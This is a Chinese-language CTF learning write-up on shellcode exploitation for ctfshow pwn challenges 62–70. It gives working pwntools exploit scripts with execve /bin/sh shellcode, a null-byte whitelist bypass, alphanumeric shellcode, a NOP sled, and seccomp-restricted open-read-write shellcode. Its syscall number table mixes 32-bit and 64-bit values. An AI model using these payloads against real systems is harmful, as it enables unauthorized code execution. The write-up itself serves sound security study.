开始正式学习shellcode了!

ret2shellcod

前置基础

大端序与小端序:

大端序和小端序是指计算机存储多字节数据类型(如整数、浮点数等)时字节的排列顺序。

  • 大端序:一个多字节值的最高位字节(即“大端”)存储在最低的内存地址处,其余字节按照大小递减的顺序存储。这种排列方式类似于我们写数字时从最高位到最低位的顺序。

    例如一个16位的二进制数0x1234在大端序存储系统中,它的存储方式如下:

    1
    2
    3
    内存地址  数据
    0x00 0x12
    0x01 0x34
  • 小端序:一个多字节值的最低位字节(即“小端”)存储在最低的内存地址处,其余字节按照大小递增的顺序存储。这种排列方式类似于我们从最低位到最高位读取数字的顺序。

    使用上面相同的16位二进制数0x1234,在小端序存储系统中,它的存储方式如下:

    1
    2
    3
    内存地址  数据
    0x00 0x34
    0x01 0x12

大多数现代个人电脑和服务器使用小端序存储,而某些大型机、网络协议和旧的计算机系统则使用大端序。

系统调用

32位程序执行系统调用获取shell

1
2
3
4
5
6
7
8
9
10
void __noreturn start()
{
int v0; // eax
char v1[10]; // [esp-Ch] [ebp-Ch] BYREF
__int16 v2; // [esp-2h] [ebp-2h]

v2 = 0;
strcpy(v1, "/bin///sh");
v0 = sys_execve(v1, 0, 0);
}

sys_execve 是一个在二进制漏洞利用中常见的ROPgadget,它用于执行系统调用 execve 。 execve 是一个在Unix-like操作系统中用于执行一个新程序的系统调用,其原型如下:

1
int execve(const char *filename, char *const argv[], char *const envp[]);

参数说明:

• filename :要执行的程序的路径。

• argv :传递给新程序的参数列表。

• envp :传递给新程序的环境变量列表。

在示例程序中, sys_execve(v1, 0, 0); 表示调用 execve 系统调用,其中:

• v1 指向要执行的程序路径·/bin/sh

• 第二个参数 0 表示没有传递任何参数给新程序。

• 第三个参数 0 表示没有传递任何环境变量给新程序。

/bin/sh 是一个程序路径,它指向大多数Unix-like系统中的shell程序。这里:

• /bin 是一个存放常用命令的目录。

• sh 是shell程序的文件名。

汇编:

1
2
3
4
5
6
7
8
9
push    0x68 ; 'h'
push 0x732F2F2F `s///`
push 0x6E69622F 'nib/' #因为是小端序所以倒序存放
mov ebx, esp ; file
xor ecx, ecx ; argv
xor edx, edx ; envp
push 0Bh
pop eax
int 80h ; LINUX - sys_execve

系统调用号

1
2
3
4
5
read --> 0
write --> 1
opean --> 5
execve --> 59
sys_rt_sigreturn -->15

机器码

amd64小端序

1
2
syscall  -->  '\x0f''\x05'
nop --> '\x90'

实操:

shellcode编写

pwn62

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(log_level='debug',arch='amd64',os = 'Linux')
#io = process("./pwn")

io = remote('pwn.challenge.ctf.show',28179)

io.recvuntil('[')
buf = io.recvuntil(']',drop=True)
buf = int(buf,16)

shellcode = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
payload = b'a'*(0x10+8)+p64(buf+32)+shellcode

io.sendline(payload)

io.interactive()

分析

64位程序,开了PIE程序会给出buf的地址,栈上可读可写可执行。

首先接收buf的地址,read函数规定了输入长度0x38,分配给buf 0x10故存在栈溢出

shellcode的最大长度=0x38-(0x10+8)-8=24bytes故不能用pwntools生成的shellcode(还没学会怎么写)

收集到的24bytes的shellcode:

1
b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

payload目前的理解(还不是很理解):

1
payload = b'a'*(0x10+8)+p64(buf+32)+shellcode

b’a’*(0x10+8)垃圾数据填充到返回地址,因为开了PIE所以地址不确定只能用泄露出的buf地址,buf的后24字节上为leave,leave的作用相当于mov sp,bp; pop bp,会释放栈空间因此不能使用buf后的24字节,v5+24后的8个字节需要存放返回地址故shellcode只能放在buf+32后的位置上

1

pwn64 mmap

开了某种保护不代表这条路一定走不通,该题开了nx保护但是main函数中有一个mmap函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [esp+8h] [ebp-10h]

buf = mmap(0, 1024u, 7, 34, 0, 0);//
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Some different!");
if ( read(0, buf, 1024u) < 0 )
{
puts("Illegal entry!");
exit(1);
}
(buf)();//调用指针buf指向的函数
return 0;
}

buf = mmap(0, 1024u, 7, 34, 0, 0); :调用 mmap 函数来映射 1024 字节的内存。 7 表示映射区域是可读、可写、可执行的( PROT_READ | PROT_WRITE | PROT_EXEC ), 34 可能是 MAP_PRIVATE | MAP_ANONYMOUS 的组合,表示创建一个私有的匿名映射。 0 和 0 分别表示文件描述符和映射的文件偏移量。

故buf指针所指向的内存区域是可执行的我们只需写入shellcode即可,因为最后(buf)();会调用buf指向的函数

exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(log_level='debug',arch='i386',os = 'Linux')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28241)

shellcode = asm(shellcraft.sh())
payload = shellcode

io.sendline(payload)

io.interactive()

pwn65 可见字符shell

这题需了解汇编cmp

cmp 是汇编语言中的一条指令,用于比较两个操作数的值。它通过执行减法操作(但不保存结果)来设置处理器的状态标志(如零标志ZF、符号标志SF、溢出标志OF等),从而为后续的条件跳转指令(如 jle(<=) 、 je/jz(=)、jne/jnz(!=)、jg(>)、jl(<) 、等)提供判断依据。

eg:cmp operand1, operand2

operand1 和 operand2 :可以是寄存器、内存地址或立即数。cmp 指令会计算 operand1 - operand2 的结果,并根据结果设置状态标志,但不会保存计算结果,只影响标志位

“你是一个好人”

check发现NX和canary都没开64位程序,开启PIE与完全开启RELRO 有RWX: Has RWX segments判断为自己写入shell到栈上执行

IDA打开无法反编译选择看汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.text:0000000000001155                               buf= byte ptr -410h
.text:0000000000001155 var_8= dword ptr -8
.text:0000000000001155 var_4= dword ptr -4
.text:0000000000001155
.text:0000000000001155 ; __unwind {
.text:0000000000001155 55 push rbp
.text:0000000000001156 48 89 E5 mov rbp, rsp
.text:0000000000001159 48 81 EC 10 04 00 00 sub rsp, 410h
.text:0000000000001160 BA 14 00 00 00 mov edx, 14h ; n
.text:0000000000001165 48 8D 35 98 0E 00 00 lea rsi, aInputYouShellc ; "Input you Shellcode\n"
.text:000000000000116C BF 01 00 00 00 mov edi, 1 ; fd
.text:0000000000001171 B8 00 00 00 00 mov eax, 0
.text:0000000000001176 E8 B5 FE FF FF call _write
.text:0000000000001176
.text:000000000000117B 48 8D 85 F0 FB FF FF lea rax, [rbp+buf]
.text:0000000000001182 BA 00 04 00 00 mov edx, 400h ; nbytes
.text:0000000000001187 48 89 C6 mov rsi, rax ; buf
.text:000000000000118A BF 00 00 00 00 mov edi, 0 ; fd
.text:000000000000118F B8 00 00 00 00 mov eax, 0
//eax清零用于存储read函数的返回值若读取了数据则eax为所读入的字节数未读入则为0
.text:0000000000001194 E8 B7 FE FF FF call _read
.text:0000000000001194
.text:0000000000001199 89 45 F8 mov [rbp+var_8], eax
.text:000000000000119C 83 7D F8 00 cmp [rbp+var_8], 0
//第一个比较,如果读取字节数大于零则跳转到loc_11AC
.text:00000000000011A0 7F 0A jg short loc_11AC
.text:00000000000011A0
.text:00000000000011A2 B8 00 00 00 00 mov eax, 0
.text:00000000000011A7 E9 A8 00 00 00 jmp locret_1254
//跳转到locret_1254结束函数
.......
.text:0000000000001254 locret_1254: ; CODE XREF: main+52↑j
.text:0000000000001254 ; main+DF↑j
.text:0000000000001254 C9 leave
.text:0000000000001255 C3 retn
.text:0000000000001255 ; } // starts at 1155
1
2
3
4
5
6
.text:00000000000011AC                               ; ---------------------------------------------------------------------------
.text:00000000000011AC
.text:00000000000011AC loc_11AC: ; CODE XREF: main+4B↑j
.text:00000000000011AC C7 45 FC 00 00 00 00 mov [rbp+var_4], 0
.text:00000000000011B3 E9 82 00 00 00 jmp loc_123A
.text:00000000000011B3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000000000011B8                               loc_11B8:                               ; CODE XREF: main+EB↓j
.text:00000000000011B8 8B 45 FC mov eax, [rbp+var_4]
.text:00000000000011BB 48 98 cdqe
.text:00000000000011BD 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf]
.text:00000000000011C5 3C 60 cmp al, 60h ; '`'
.text:00000000000011C7 7E 11 jle short loc_11DA
//<=60h则跳转到loc_11DA
.text:00000000000011C7
.text:00000000000011C9 8B 45 FC mov eax, [rbp+var_4]
.text:00000000000011CC 48 98 cdqe
.text:00000000000011CE 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf]
.text:00000000000011D6 3C 7A cmp al, 7Ah ; 'z'
.text:00000000000011D8 7E 5C jle short loc_1236
//<=74h则跳转到loc_1236
.text:00000000000011D8
.text:00000000000011DA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000000000011DA                               loc_11DA:                               ; CODE XREF: main+72↑j
.text:00000000000011DA 8B 45 FC mov eax, [rbp+var_4]
.text:00000000000011DD 48 98 cdqe
.text:00000000000011DF 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf]
.text:00000000000011E7 3C 40 cmp al, 40h ; '@'
.text:00000000000011E9 7E 11 jle short loc_11FC
//<=40h则跳转到 loc11_FC
.text:00000000000011E9
.text:00000000000011EB 8B 45 FC mov eax, [rbp+var_4]
.text:00000000000011EE 48 98 cdqe
.text:00000000000011F0 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf]
.text:00000000000011F8 3C 5A cmp al, 5Ah ; 'Z'
.text:00000000000011FA 7E 3A jle short loc_1236
//<=5A则跳转 loc_1236
.text:00000000000011FA
.text:00000000000011FC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00000000000011FC                               loc_11FC:                               ; CODE XREF: main+94↑j
.text:00000000000011FC 8B 45 FC mov eax, [rbp+var_4]
.text:00000000000011FF 48 98 cdqe
//将32位寄存器eax的值扩展到64位寄存器rax,同时保持符号位不变。这一步是为了确保后续的地址计算可以正确处理64位地址。
.text:0000000000001201 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf]
.text:0000000000001209 3C 2F cmp al, 2Fh ; '/'
.text:000000000000120B 7E 11 jle short loc_121E
//<=2F则跳转loc_121E
.text:000000000000120B
.text:000000000000120D 8B 45 FC mov eax, [rbp+var_4]
.text:0000000000001210 48 98 cdqe
.text:0000000000001212 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf]
.text:000000000000121A 3C 5A cmp al, 5Ah ; 'Z'
.text:000000000000121C 7E 18 jle short loc_1236
//<=5A则跳转 loc_1236
.text:000000000000121C
.text:000000000000121E
1
2
3
4
5
6
7
8
.text:000000000000121E                               loc_121E:                               ; CODE XREF: main+B6↑j
.text:000000000000121E 48 8D 3D F4 0D 00 00 lea rdi, format ; "Good,but not right"
.text:0000000000001225 B8 00 00 00 00 mov eax, 0
.text:000000000000122A E8 11 FE FF FF call _printf
.text:000000000000122A
.text:000000000000122F B8 00 00 00 00 mov eax, 0
.text:0000000000001234 EB 1E jmp short locret_1254
.text:0000000000001234
1
2
3
4
5
6
.text:0000000000001236                               loc_1236:                               ; CODE XREF: main+83↑j
.text:0000000000001236 ; main+A5↑j
.text:0000000000001236 ; main+C7↑j
.text:0000000000001236 83 45 FC 01 add [rbp+var_4], 1
//循环计时器加一,用于遍历整个buf
.text:0000000000001236
1
2
3
4
5
6
7
8
9
10
11
12
13
.text:000000000000123A                               loc_123A:                               ; CODE XREF: main+5E↑j
.text:000000000000123A 8B 45 FC mov eax, [rbp+var_4]
.text:000000000000123D 3B 45 F8 cmp eax, [rbp+var_8]
.text:0000000000001240 0F 8C 72 FF FF FF jl loc_11B8
// [rbp+var_4]<[rbp+var_8]则跳转到loc_11B8
.text:0000000000001240
.text:0000000000001246 48 8D 85 F0 FB FF FF lea rax, [rbp+buf]
.text:000000000000124D FF D0 call rax
//执行buf上的代码
.text:000000000000124D
.text:000000000000124F B8 00 00 00 00 mov eax, 0
.text:000000000000124F
.text:0000000000001254

buf中允许写入的字符范围为以下 ASCII 字符:

  1. 数字 0-9
    十六进制范围: 0x30 (字符 0) 至 0x39 (字符 9)。
  2. 符号 : ; < = > ? @
    十六进制范围: 0x3A (字符 :) 至 0x40 (字符 @)。
  3. 大写字母 A-Z
    十六进制范围: 0x41 (字符 A) 至 0x5A (字符 Z)。
  4. 小写字母 a-z
    十六进制范围: 0x61 (字符 a) 至 0x7A (字符 z)。

即可见字符string.printable,所以我我们需要可见字符shellcode,可使用alpha3生成。

1
git clone https://github.com/TaQini/alpha3.git

使用alpha3生成string.printable

1
2
cd alpha3
python ./ALPHA3.py x64 ascii mixxedcase rax --input="shellcode" > 输出文件

完整exp

1
2
3
4
5
6
7
from pwn import *
context(log_level='debug',arch='amd64',os = 'Linux')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28187)
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send (shellcode)
io.interactive()

pwn66 “\x00”绕检查

题目:简单的shellcode?不对劲,十分得有十二分的不对劲

检查:开了nx没开canary

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
logo();
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
puts("Your shellcode is :");
read(0, buf, 0x200uLL);
if ( !check(buf) )
{
printf(" ERROR !");
exit(0);
}
(buf)(buf);//将 buf 的内容解释为一个函数指针,并以 buf 作为参数调用它。
return 0;
}

分析可知mmap给了buf地址处可读可写可执行的段大小为0x1000uLL,通过read读入shell最(buf)(buf)执行shell但是中间要过一个check()检查故该题只需绕过check检查使其返回值为1并写入shell即可

check函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
__int64 __fastcall check(_BYTE *a1)
{
_BYTE *i; // [rsp+18h] [rbp-10h]

while ( *a1 )
{
for ( i = &unk_400F20; *i && *i != *a1; ++i )
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
}
-----------------------------------------------
&unk_400F20:
.rodata:0000000000400F20 5A unk_400F20 db 5Ah ; Z ; DATA XREF: check+8↑o
.rodata:0000000000400F21 5A db 5Ah ; Z
.rodata:0000000000400F22 4A db 4Ah ; J
.rodata:0000000000400F23 20 db 20h
.rodata:0000000000400F24 6C db 6Ch ; l
.rodata:0000000000400F25 6F db 6Fh ; o
.rodata:0000000000400F26 76 db 76h ; v
.rodata:0000000000400F27 65 db 65h ; e
.rodata:0000000000400F28 73 db 73h ; s
.rodata:0000000000400F29 20 db 20h
.rodata:0000000000400F2A 73 db 73h ; s
.rodata:0000000000400F2B 68 db 68h ; h
.rodata:0000000000400F2C 65 db 65h ; e
.rodata:0000000000400F2D 6C db 6Ch ; l
.rodata:0000000000400F2E 6C db 6Ch ; l
.rodata:0000000000400F2F 5F db 5Fh ; _
.rodata:0000000000400F30 63 db 63h ; c
.rodata:0000000000400F31 6F db 6Fh ; o
.rodata:0000000000400F32 64 db 64h ; d
.rodata:0000000000400F33 65 db 65h ; e
.rodata:0000000000400F34 2C db 2Ch ; ,
.rodata:0000000000400F35 61 db 61h ; a
.rodata:0000000000400F36 6E db 6Eh ; n
.rodata:0000000000400F37 64 db 64h ; d
.rodata:0000000000400F38 20 db 20h
.rodata:0000000000400F39 68 db 68h ; h
.rodata:0000000000400F3A 65 db 65h ; e
.rodata:0000000000400F3B 72 db 72h ; r
.rodata:0000000000400F3C 65 db 65h ; e
.rodata:0000000000400F3D 20 db 20h
.rodata:0000000000400F3E 69 db 69h ; i
.rodata:0000000000400F3F 73 db 73h ; s
.rodata:0000000000400F40 20 db 20h
.rodata:0000000000400F41 61 db 61h ; a
.rodata:0000000000400F42 20 db 20h
.rodata:0000000000400F43 67 db 67h ; g
.rodata:0000000000400F44 69 db 69h ; i
.rodata:0000000000400F45 66 db 66h ; f
.rodata:0000000000400F46 74 db 74h ; t
.rodata:0000000000400F47 3A db 3Ah ; :
.rodata:0000000000400F48 0F db 0Fh
.rodata:0000000000400F49 05 db 5
.rodata:0000000000400F4A 20 db 20h
.rodata:0000000000400F4B 65 db 65h ; e
.rodata:0000000000400F4C 6E db 6Eh ; n
.rodata:0000000000400F4D 6A db 6Ah ; j
.rodata:0000000000400F4E 6F db 6Fh ; o
.rodata:0000000000400F4F 79 db 79h ; y
.rodata:0000000000400F50 20 db 20h
.rodata:0000000000400F51 69 db 69h ; i
.rodata:0000000000400F52 74 db 74h ; t
.rodata:0000000000400F53 21 db 21h ; !
.rodata:0000000000400F54 0A db 0Ah
.rodata:0000000000400F55 00 db 0

&unk_400F20是一个白名单,输入的shellcode的每一位字符要在unk_400F20中。内容为:ZZJ loves shell_code, and here is a gift: \x0F\x05 (syscall指令) enjoy it!\n

两种思路一是使用白名单中的字符构造shell,二是绕过while循环将输入以”\x00”开头

尝试了可见字符shell没能成功所以选择思路二:

首先寻找”\x00”开头的汇编(为什么一定要找合法汇编呢,因为如果只输入一个”\x00”则在后续执行(buf)(buf)时导致执行无效指令(add [rax],al),引发崩溃故使用”\x00\xc0”这一合法空指令能保证后续汇编正常执行)

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*
from itertools import*
import re

for i in range(1,3):
for j in product([p8(k) for k in range(256)],repeat=i):
payload = b"\x00" + b"".join(j)
res = disasm(payload)
if(res != " ..."
and not re.search(r"\[\w*?\]",res)
and ".byte" not in res):
print(res)
input()
  1. 代码结构分析
    • 外层循环生成1字节和2字节的机器码组合(共256种单字节和65536种双字节组合)
    • 每个payload以\x00字节开头,后接生成的随机字节
    • 使用pwntools的disasm()进行反汇编
  2. 筛选条件
    • 必须能生成有效汇编指令(排除反汇编失败的...结果)
    • 不允许包含内存访问指令(如mov eax, [ebx]
    • 不允许出现.byte伪指令(确保所有字节都能被识别为有效指令)
  3. 典型应用场景
    • 寻找可用于缓冲区溢出的短指令(如shellcode)
    • 测试反汇编器的容错能力
    • 研究指令编码的边界情况

很容易的找到了

1
0:   00 c0                   add    al, al

故exp如下:

1
2
3
4
5
6
7
from pwn import *
context(log_level='debug',arch='amd64',os = 'Linux')
io = process("./pwn")
#io = remote('pwn.challenge.ctf.show',28187)
shellcode =b'\x00\xc0' + asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

pwn67 nop seld空操作雪橇32位

什么是nop sled
nop是一条不做任何操作的单指令,对应的十六进制编码为0x90。这里nop将被用作欺骗因子。通过创建一个大的NOP指令数组并将其放在shellcode之前,如果EIP返回到存储nop sled的任意地址,那么在达到shellcode之前,每执行一条nop指令,EIP都会递增。这就是说只要返回地址被nop sled中的某一地址所重写,EIP就会将sled滑向将正常执行的shellcode。

也就是我们现在栈中的某个位置填入大量nop指令,后边再接上我们的shellcode,然后我们控制程序的执行流从我们nop指令开始执行,那么程序就会一直执行我们之前填入的nop,执行nop之后就是我们的shellcode了,这样程序就成功的被我们pwn掉了。

使用nop sled的情况是栈上地址在一定的范围内随机,攻击者不能够知道栈上可返回的精确地址故可通过nop滑到攻击代码处。

分析该题:

check:32位程序只开了canary 栈上可执行

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
int position; // eax
void (*v5)(void); // [esp+0h] [ebp-1010h] BYREF
unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF

seed[1025] = &argc;
seed[1024] = __readgsdword(0x14u);
setbuf(stdout, 0);
logo();
srand(seed); // 生成随机数
Loading();
acquire_satellites();
position = query_position();
printf("We need to load the ctfshow_flag.\nThe current location: %p\n", position);
printf("What will you do?\n> ");
fgets(seed, 4096, stdin);
printf("Where do you start?\n> ");
__isoc99_scanf("%p", &v5);
v5();
return 0;
}

query_position函数:

1
2
3
4
5
6
7
8
9
10
11
12
char *query_position()
{
char v1; // [esp+3h] [ebp-15h] BYREF
int v2; // [esp+4h] [ebp-14h]
char *v3; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
v2 = rand() % 1337 - 668;
v3 = &v1 + v2;
return &v1 + v2;
}

由于v1是局部变量所以v1在栈上可据此获得一栈上地址,因为栈上可执行可通过fgets注入shellcode,观察到最后执行v5()函数v5地址从键盘获取输入,故可将此地址改为接近攻击代码的栈上地址即可通过nop滑行到正确地址获取shell。

地址计算:v2=rand()%1337 - 668取模运算保证随机数在0到1336之间,故v2范围为-668~668,需要找到v1距离seed的距离

0x15(v1-ebp)+4(ebp)+4(返回地址)+16(0x10)(#最后这16个字节有点没搞懂去掉其实也能跑通)

栈上布局(图来自https://blog.csdn.net/weixin_52635170/article/details/131985518)

1

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
context.arch = "i386"

#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28290)
io.recvuntil(b'current location: ')
addr = eval(io.recvuntil(b"\n",drop=True))
print(hex(addr))
shellcode = b'\x90'*1336 + asm(shellcraft.sh())
io.recvuntil(b"> ")
io.sendline(shellcode)
io.recvuntil(b"> ")
addr_v5=addr+0x2d+668
io.sendline(hex(addr_v5))
io.interactive()

pwn69系统调用函数

新知识:

沙盒过滤
1
2
3
4
5
6
7
8
9
10
11
__int64 sub_400949()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
return seccomp_load(v1);
}

可以用seccomp-tools dump ./pwn查看沙箱禁用:

1

可以看到我们可以用的函数有read write opean exit

分析此题:

保护只开了部分 RELRO,main函数中有mmap函数分配了一段可读可写可执行的内存,有沙箱只能使用read write opean exit函数,题目提示用ORW权限去输出位于/ctfshow_flag下的flag,故我们可以opean–>read–>write,来获取flag

sub_400A16函数中有栈溢出漏洞,发现有jmp rsp

故可以在mmap分配的内存中写入opean–>read–>write的系统调用shell在buf里先调用read往mmap处写入0x100的内容即(opean–>read–>write)接着跳转执行。

ROP顺序为buf处溢出跳转执行buf上写入了的内容,接着调用read写入(opean–>read–>write)到mmap里并跳转执行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'
io = remote('pwn.challenge.ctf.show', 28296)
#io = process('./pwn')
mmap = 0x123000
jmp_rsp = 0x400A01

orw_shellcode = shellcraft.open('/ctfshow_flag')
orw_shellcode += shellcraft.read('3', mmap, 100)
orw_shellcode += shellcraft.write(1, mmap, 100)
orw_shellcode = asm(orw_shellcode)
#read里的fd写3是因为程序执行的时候文件描述符是从3开始的,write里的1是标准输出到显示器
payload = asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
payload = payload.ljust(0x28,b'a')# buf的大小是0x20,加上rbp 0x8是0x28,用'\x00'去填充剩下的位置
payload += p64(jmp_rsp) + asm('sub rsp,0x30;jmp rsp')#buf地址为0x30
io.sendline(payload)
io.sendline(orw_shellcode)

io.interactive()

shellcraft可以用来自动生成提权shell的汇编也可以用来生成调用函数的汇编,但还是需要学怎么自己搓,自动化工具不好控制字节数。

pwn70 64位orw

介绍几个新函数:

bzero 是一个在 Unix 和类 Unix 系统中常用的函数,用于将一块内存区域的内容设置为零

1
bzero(void* s,size_t n)

s:指向要清零的内存区域 ;n:要清零的字节数

分析本题:题目提示flag位于/flag下故应该也是一题orw的题

check发现只开了canary和部分RELRO,

ida打开发现main函数无法编译出伪代码,发现main函数中有一个call rax该处极有可能用于最后执行shellcode

nop掉之后得到的main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v5; // [rsp+78h] [rbp-8h]

v5 = __readfsqword(0x28u);
init();
set_secommp();
bzero(s, 0x68uLL);
logo();
puts("Welcome,tell me your name:");
s[(read(0, s, 100uLL) - 1)] = 0;//确保最后一位为0保证是完整字符串
if ( !is_printable(s) )
puts("It must be a printable name!");
return 0;
}

需要关注的有set_secommp()此处使用了沙盒过滤,貌似禁用了execve可以用系统调用号<0x40000000的函数

1

下方为main函数汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:0000000000400AC1 48 8D 45 90                   lea     rax, [rbp+s]
.text:0000000000400AC5 BA 64 00 00 00 mov edx, 64h ; 'd' ; nbytes
.text:0000000000400ACA 48 89 C6 mov rsi, rax ; buf
.text:0000000000400ACD BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000400AD2 B8 00 00 00 00 mov eax, 0
.text:0000000000400AD7 E8 C4 FB FF FF call _read
.text:0000000000400AD7
.text:0000000000400ADC 83 E8 01 sub eax, 1
.text:0000000000400ADF 48 98 cdqe
.text:0000000000400AE1 C6 44 05 90 00 mov [rbp+rax+s], 0
.text:0000000000400AE6 48 8D 45 90 lea rax, [rbp+s]
.text:0000000000400AEA 48 89 C7 mov rdi, rax
.text:0000000000400AED E8 F8 FD FF FF call is_printable
.text:0000000000400AED
.text:0000000000400AF2 85 C0 test eax, eax
.text:0000000000400AF4 74 08 jz short loc_400AFE
.text:0000000000400AF4
.text:0000000000400AF6 48 8D 45 90 lea rax, [rbp+s]
.text:0000000000400AFA FF D0 call rax

可以发现read读入的数据存放的地址为 [rbp+s] 最后调用的rax也等于 [rbp+s]故只要在read处写入orw即可,但是进入到is_printable会检查每一个字符是否可打印,我们的汇编转为机器码后变为二进制数据,其中通常会有很多不可打印字符,故需要绕过该循环防止程序直接通过跳过call rax导致shellcode无法执行

相关汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
.text:0000000000400AED E8 F8 FD FF FF                call    is_printable
.text:0000000000400AED
.text:0000000000400AF2 85 C0 test eax, eax
.text:0000000000400AF4 74 08 jz short loc_400AFE
;如果有不可打印字符则jz到loc_400AFE
.text:0000000000400AF4
.text:0000000000400AF6 48 8D 45 90 lea rax, [rbp+s]
.text:0000000000400AFA 90 call rax
.text:0000000000400AFB 90
.text:0000000000400AFC EB 0C jmp short loc_400B0A
.text:0000000000400AFC
.text:0000000000400AFE ; ---------------------------------------------------------------------------
.text:0000000000400AFE ;在下方继续执行
.text:0000000000400AFE loc_400AFE: ; CODE XREF: main+8C↑j
.text:0000000000400AFE 48 8D 3D F5 05 00 00 lea rdi, aItMustBeAPrint ; "It must be a printable name!"
.text:0000000000400B05 E8 56 FB FF FF call _puts
.text:0000000000400B05
.text:0000000000400B0A
.text:0000000000400B0A loc_400B0A: ; CODE XREF: main+94↑j
.text:0000000000400B0A B8 00 00 00 00 mov eax, 0
.text:0000000000400B0F 48 8B 4D F8 mov rcx, [rbp+var_8]
.text:0000000000400B13 64 48 33 0C 25 28 00 00 00 xor rcx, fs:28h
.text:0000000000400B1C 74 05 jz short locret_400B23
.text:0000000000400B1C
.text:0000000000400B1E E8 5D FB FF FF call ___stack_chk_fail
.text:0000000000400B1E
.text:0000000000400B23 ; ---------------------------------------------------------------------------
.text:0000000000400B23
.text:0000000000400B23 locret_400B23: ; CODE XREF: main+B4↑j
.text:0000000000400B23 C9 leave
.text:0000000000400B24 C3 retn

shellcode以’\x00’开头即可截断strlen

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28127)
#io = process('./pwn')
elf = ELF('./pwn')
#调用opean
shellcode = '''
push 0 ;绕strlean
mov r15, 0x67616c66 ;flag
push r15 ;将flag压入栈
mov rdi, rsp ;此时rsp指向r15故为将flag的地址给rdi作为opean的地址
mov rsi, 0 ;只读的方式打开
mov rax, 2 ;rax=2对应调用opean
syscall
'''
#调用read
shellcode += '''
mov r14, 3 ;文件描述符一般从3开始即opean返回的3存入r14
mov rdi, r14 ;将文件描述符放入rdi
mov rsi, rsp ;rsp为flag的地址读取flag中的内容
mov rdx, 0xff ;可read0xff大小的内容
mov rax, 0 ;rax=0对应调用read
syscall
'''
#调用write
shellcode +='''
mov rdi, 1 ;写入到标准输出
mov rsi, rsp ;rsp为flag的地址写出flag中的内容
mov rdx, 0xff ;可write0xff大小的内容
mov rax, 1 ;rax=1对应调用write
syscall
'''
shellcode = asm(shellcode)
io.recvuntil('Welcome,tell me your name:\n')
io.sendline(shellcode)

io.interactive()